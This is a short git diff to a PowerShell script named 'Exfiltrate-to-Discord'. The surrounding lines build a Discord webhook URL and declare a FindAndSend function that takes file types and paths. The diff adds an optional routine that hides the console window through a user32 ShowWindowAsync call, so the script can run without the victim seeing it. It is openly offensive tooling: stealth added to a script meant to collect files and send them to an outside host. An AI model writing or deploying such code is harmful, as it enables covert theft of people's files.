diff --git a/Exfiltrate-to-Discord/main.ps1 b/Exfiltrate-to-Discord/main.ps1 index b184a7f..f544a23 100644 --- a/Exfiltrate-to-Discord/main.ps1 +++ b/Exfiltrate-to-Discord/main.ps1 @@ -35,6 +35,25 @@ if ($hookurl.Length -lt 120){ $hookurl = ("https://discord.com/api/webhooks/" + "$dc") } + +# Uncomment $hide='y' below to hide the console + +# $hide='y' +if($hide -eq 'y'){ + $w=(Get-Process -PID $pid).MainWindowHandle + $a='[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd,int nCmdShow);' + $t=Add-Type -M $a -Name Win32ShowWindowAsync -Names Win32Functions -Pass + if($w -ne [System.IntPtr]::Zero){ + $t::ShowWindowAsync($w,0) + }else{ + $Host.UI.RawUI.WindowTitle = 'xx' + $p=(Get-Process | Where-Object{$_.MainWindowTitle -eq 'xx'}) + $w=$p.MainWindowHandle + $t::ShowWindowAsync($w,0) + } +} + + Function FindAndSend { param ([string[]]$FileType,[string[]]$Path)